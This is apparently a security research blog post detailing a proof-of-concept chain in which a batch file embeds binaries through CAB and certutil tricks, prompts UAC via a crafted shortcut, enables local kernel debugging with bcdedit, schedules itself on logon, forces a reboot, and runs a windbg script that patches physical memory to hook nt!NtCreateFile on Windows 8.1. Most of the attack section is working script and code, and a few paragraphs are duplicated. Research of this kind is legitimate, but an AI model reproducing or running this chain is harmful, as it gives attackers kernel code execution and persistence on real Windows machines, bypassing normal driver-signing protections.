With this method it is not necessary to launch executables at user mode (only Microsoft signed executables) or load signed drivers. PatchGuard and other protections don’t stop us. We put our code directly into kernel memory space and we hook some point to get a thread executing it. As we will demonstrate, a malware consisting of a simple batch file would be able to jump to kernel, enabling local kernel debugging and using windbg to get its code being executed in kernel.
The article has five parts:
Dumping files embedded into the batch file: a couple of methods for embedding and dumping binary files into the batch file.
Executing the batch file as administrator: here a method to show the UAC prompt from the batch file (without using powershell, vbs…)
Enabling local kernel debugging: how to enable local kernel debugging from the batch.
Patch kernel memory with windbg to inject and execute our code in kernel mode: a way to patch kernel memory and execute our code in kernel by using windbg local kernel debugging from the batch file).
Finally, we will put all these things together to make a proof-of-concept batch file that will target a windows 8.1 x64 machine, and we will do some tests.
1) Dumping files embedded into the batch file to disk
Probably, there are lot of ways to dump files embbeded into a bat to disk. Here I’m going to talk about a couple of methods.
1.1) Create a .bat that is a .cab too:
It is possible to use the Microsoft tool makecab.exe (or cabarc.exe in previous versions of windows) to create a CAB file. This CAB file will contains the files that we want to dump, compressed. But we will add too a first file uncompressed, our batch file.
To use makecab.exe we have to give to it the path to a .ddf file as parameter: makecab.exe /F makecab.ddf. This .ddf file instructs makecab.exe to create the CAB file. You can find information about makecab.exe here and about microsoft cabinet format here.
Let’s suppose we have a file setup.exe (a executable that we want to dump to disk) and a file setup.bat (the main batch file).
Setup.bat:
To use makecab.exe we have to give to it the path to a .ddf file as parameter: makecab.exe /F makecab.ddf. This .ddf file instructs makecab.exe to create the CAB file. You can find information about makecab.exe here and about microsoft cabinet format here.
Let’s suppose we have a file setup.exe (a executable that we want to dump to disk) and a file setup.bat (the main batch file).
Setup.bat:
@echo off mkdir expanded expand %0 expanded -F:* expanded\setup.exe pause goto:eofWe need to create a .ddf file to instruct makecab.exe to create a CAB containing setup.bat and setup.exe:
Makecab.ddf:
.OPTION EXPLICIT ; Generate errors on variable typos
.Set Cabinet=on
.Set Compress=off
.Set InfAttr= ; Turn off read-only, etc. attrs
setup.bat
.Set Cabinet=on
.Set Compress=on
setup.exe
As we can see the CAB file contains a first file: the batch script uncompressed, and a second file: setup.exe compressed. If we rename the .cab file to .bat, and we execute the .bat file, it is executed without problems. The first binary contents (the CAB header) is ignored by the batch interpreter (it tries to execute it but it prints error messages), and when the interpreter finds the batch uncompressed code it executes this code without problems. As we can see this batch code executes expand.exe passing as parameter the own .bat file (that is a CAB file too), and the CAB file is uncompressed to the directory “expanded”. After that, setup.exe is executed.1.2) Dump ascii encoded binaries and decode them with certutil.exe:
In this case we are going to use the tool certutil.exe (info here) to encode a binary file to text, that we will embed into the batch file:
certutil -encode file.bin file.enc
file.bin is a binary file that contains:
certutil -encode file.bin file.enc
file.bin is a binary file that contains:
0x00 0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88 0x99 0xaa 0xbb 0xcc 0xdd 0xee 0xffAfter encoding it, we get a text file, file.enc:
-----BEGIN CERTIFICATE----- ABEiM0RVZneImaq7zN3u/w== -----END CERTIFICATE-----We will embed this text into the batch file, that will dump it to disk, and will use certutil -decode to decode this text to binary file again.
Batch file:
@echo off call:DumpBlock setup.bat "%temp%\file.enc" _____binstart_____ _____binend_____ certutil -decode "%temp%\file.enc" "%temp%\file.bin" goto:eof :DumpBlock @echo off SetLocal EnableDelayedExpansion echo. %~1 %~2 %~3 %~4 set SrcFile=%~1 set DestFile=%~2 set StartBlockMark=%~3 set EndBlockMark=%~4 set Flag=0 del /F %DestFile% for /f "tokens=* delims=" %%a in ('type %SrcFile%') do ( if !Flag! EQU 2 (echo "set Flag=1"&set Flag=1) if /i "%StartBlockMark%" EQU "%%a" (echo "set Flag=2"&set Flag=2) if /i "%EndBlockMark%" EQU "%%a" (echo "set Flag=0"&set Flag=0) if !Flag! EQU 1 (echo %%a >> %DestFile%) ) goto:eof @echo off if "%~1"=="" (call :usage) else call :%* exit /b _____binstart_____ -----BEGIN CERTIFICATE----- ABEiM0RVZneImaq7zN3u/w== -----END CERTIFICATE----- _____binend_____As we can see in the previous code, there is a function named DumpBlock. This function receive as parameter a path to a file and two labels into the batch file, and it dumps to the file the content between both labels. After dumping the text to a file (file.enc), it calls to certutil to decode it to binary: certutil -decode file.enc file.bin. In this way we can embed as files (executables or any type of file) as we want into the batch file and dump them when the script is executed.
2) Executing the batch file as administrator
For showing UAC prompt from a batch file i decided to use other method: dumping a .LNK file pointing to my own batch file. This .LNK will be marked with the option “Run as administrator”. In this way, when the .LNK re-launch our batch file, if we don’t have administrator privileges, the UAC prompt will be shown.
To create the .LNK, we create a simple windows link, and we set the “Run as administrator” option:
Batch:
if "%CD%" == "%systemroot%\system32" ( if "%~dp0" == "%TEMP%\" ( rem HERE WE ARE BEING EXECUTED AS ADMIN goto:eof ) ) copy setup.bat "%temp%\setu_.bat" start %temp%\promptUAC.lnk
3) Enabling local kernel debugging
Batch:
IF [%1]==[/DOONLOGON] GOTO ONLOGON bcdedit /debug on bcdedit /dbgsettings local schtasks /create /sc onlogon /tn setup /rl highest /tr "%0 /DOONLOGON" shutdown /r /f GOTO DONE :ONLOGON rem here local debugging is enabled and we run as administrator :DONEYou can see how the script enables local kernel debugging, it installs a task for being executed after rebooting, and it restarts the computer.
4) Patch kernel memory with windbg to inject and execute our code in kernel mode
For doing this, we will launch windbg with -kl option (kernel local debugging) and -c option to launch our windbg script:
start /min windbg -y "SRV*c:\symbols*http://msdl.microsoft.com/download/symbols" -c"$$><jmpkernel_hookcreatefile.wdbg;q" -klAnd the most important part of this, is the windbg script jmpkernel_hookcreatefile.wdbg. You can see the code of this script in next paragraphs (as you will see the code of the script is well commented to understand perfectly how it works).
In the script some addresses are hardcoded for my target testing machine. The target machine is an Windows 8.1 Pro N x64, and ntoskrnl version is 6.3.9600.17668. It would be easy to adapt the script for other machines or making a generic script without hardcoded adressess. Anyway, because this is only a PoC, i did it with some hardcoded addresses to not complicate it too much.
The most important thing to comment of this script and the key to patch kernel memory from windbg local debugger is to use physical address to write the memory. Local kernel debugger doesn’t let us to modify some kernel memory address (for example, if we want to patch NtCreateFile function, it won’t let us). However we can transform the target virtual address to physical address, and write our modifications to the physical address.
The command to transform VA to physical address is !vtop. The command to write to physical address is !eb.
We will dump windbg from the batch file too. Embedding the entire windbg installation it would be crazy. But we only need a couple of commands, so we only need to embed a subset of windbg’s binaries, exactly these:
dbgeng.dll dbghelp.dll kdexts.dll kext.dll symsrv.dll symsrv.yes windbg.exeWe will embed these files into the batch file, we will dump them together the script file, and we will execute windbg with the script. After executing the script, nt!NtCreateFile function will be hooked. We have used the memory space of nt!KeBugCheckEx to put our code there, then we hook a call into nt!NtCreateFile to call to our code in nt!KeBugCheckEx. From our code in nt!KeBugCheckEx, we jump to the original destination of the call, so the funcion is hooked and our code executed, but the system continues working without problems.
Jmpkernel_hookcreatefile.wdbg:
For ending, we are going to create a Proof-of-Concept by using all the things exposed in the previous sections. You can find the proof-of-concept code and binaries here:
https://github.com/vallejocc/patch_kernel_from_batch
You can find a capture of the proof-of-concept working here:
.load kext.dll .load kdexts.dll .block { $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ Get the Physical Adress of NtCreateFile $$ $$ get the address of nt!NtCreateFile ? nt!NtCreateFile $$ @$exp contains the address of NtCreateFile, so we create a alias for it aS /x va @$exp .block { $$ get the physical address of NtCreateFile !vtop 0 va $$ parse the results of vtop r @$t1 = 0 .foreach (tok { !vtop 0 va }) { .catch { .printf "tok" .printf "\n" .if(@$t1==1) { r @$t1 = ${tok} .break } $$ in the results of vtop, when we find "phys" token, after it, it comes the physical address .if($spat("${tok}","phys")) { r @$t1 = 1 } } } } ad va $$ after parsing vtop results we keep the physical address in @$t1, we create a alias aS /x phaNtCreateFile @$t1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ Get the Physical Adress of KeBugCheckEx $$ $$ get the address of nt!KeBugCheckEx ? nt!KeBugCheckEx $$ @$exp contains the address of KeBugCheckEx, so we create a alias for it aS /x va @$exp .block { $$ get the physical address of KeBugCheckEx !vtop 0 va $$ parse the results of vtop r @$t1 = 0 .foreach (tok { !vtop 0 va }) { .catch { .printf "tok" .printf "\n" .if(@$t1==1) { r @$t1 = ${tok} .break } $$ in the results of vtop, when we find "phys" token, after it, it comes the physical address .if($spat("${tok}","phys")) { r @$t1 = 1 } } } } ad va $$ after parsing vtop results we keep the physical address in @$t1, we create a alias aS /x phaKeBugCheckEx @$t1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ Write our code to KeBugCheckEx (we will use the memory space of this function coz it wont be called unless $$ the system crashes) $$ .block { .printf "nt!NtCreateFile physical address %p\n", phaNtCreateFile .printf "nt!NtKeyBugCheck physical address %p\n", phaKeBugCheckEx $$ now we are going to write our code to KeBugCheckEx. It's only some simple nops operations for the PoC, $$ but we could find enough space to write an entire rootkit !eb phaKeBugCheckEx 90 90 90 90 90 90 90 90 $$ Now lets see the code of nt!NtCreateFile in the target system (win 8.1 x64 ntoskrnl version is 6.3.9600.17668) $$ $$ nt!NtCreateFile: $$ fffff803f846020 4c8bdc mov r11,rsp $$ fffff803f846023 4881ec88000000 sub rsp,88h $$ fffff803f84602a 33c0 xor eax,eax $$ fffff803f84602c 498943f0 mov qword ptr [r11-10h],rax $$ fffff803f846030 c744247020000000 mov dword ptr [rsp+70h],20h $$ fffff803f846038 89442468 mov dword ptr [rsp+68h],eax $$ fffff803f84603c 498943d8 mov qword ptr [r11-28h],rax $$ fffff803f846040 89442458 mov dword ptr [rsp+58h],eax $$ fffff803f846044 8b8424e0000000 mov eax,dword ptr [rsp+0E0h] $$ fffff803f84604b 89442450 mov dword ptr [rsp+50h],eax $$ fffff803f84604f 488b8424d8000000 mov rax,qword ptr [rsp+0D8h] $$ fffff803f846057 498943c0 mov qword ptr [r11-40h],rax $$ fffff803f84605b 8b8424d0000000 mov eax,dword ptr [rsp+0D0h] $$ fffff803f846062 89442440 mov dword ptr [rsp+40h],eax $$ fffff803f846066 8b8424c8000000 mov eax,dword ptr [rsp+0C8h] $$ fffff803f84606d 89442438 mov dword ptr [rsp+38h],eax $$ fffff803f846071 8b8424c0000000 mov eax,dword ptr [rsp+0C0h] $$ fffff803f846078 89442430 mov dword ptr [rsp+30h],eax $$ fffff803f84607c 8b8424b8000000 mov eax,dword ptr [rsp+0B8h] $$ fffff803f846083 89442428 mov dword ptr [rsp+28h],eax $$ fffff803f846087 488b8424b0000000 mov rax,qword ptr [rsp+0B0h] $$ fffff803f84608f 49894398 mov qword ptr [r11-68h],rax $$ fffff803f846093 e808000000 call nt!IopCreateFile (fffff803ef8460a0) <------------------------- $$ to do it easier, we will hook the call to nt!IopCreateFile. This call is at nt!NtCreateFile + 0x73 $$ in the code that we have written in KeBugCheck, we have to put a jmp to continue the execution $$ at nt!IopCreateFile (after the 90 90 90 90 90 90 90 90 that we wrote). Remember that E9 instruction $$ is a relative jump and the value that the instruction admits as parameter is the difference of: $$ target_address - (E9_ins_address+5). $$ We need to have precalculated (nt!IopCreateFile)-(nt!KeBugCheckEx+8+5) = 0x002eb6f3 because !eb $$ needs that we pass immediate values r $t1 = phaKeBugCheckEx r $t1 = $t1 + 8 !eb $t1 E9 f3 b6 2e 00 $$ finally hook the call nt!IopCreateFile, it will be executed the next time that NtCreateFile was called and it $$ will jmp to our code. We need precalculate the relative jump value: (nt!KeBugCheckEx-(nt!NtCreateFile+0x73+5)) = 0xffd14908 $$ because !eb needs we pass inmediate values (i have to research to avoid needing to have these values precalculated) r $t1 = phaNtCreateFile r $t1 = $t1 + 0x74 !eb $t1 08 49 d1 ff } ad * }
5) Putting all together
https://github.com/vallejocc/patch_kernel_from_batch
You can find a capture of the proof-of-concept working here:
No comments:
Post a Comment